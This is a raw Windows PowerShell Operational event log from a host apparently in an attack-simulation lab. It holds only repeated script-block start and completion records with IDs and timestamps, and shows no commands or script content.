LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048792
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048791
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048786
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048785
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048763
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048762
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048761
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048760
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
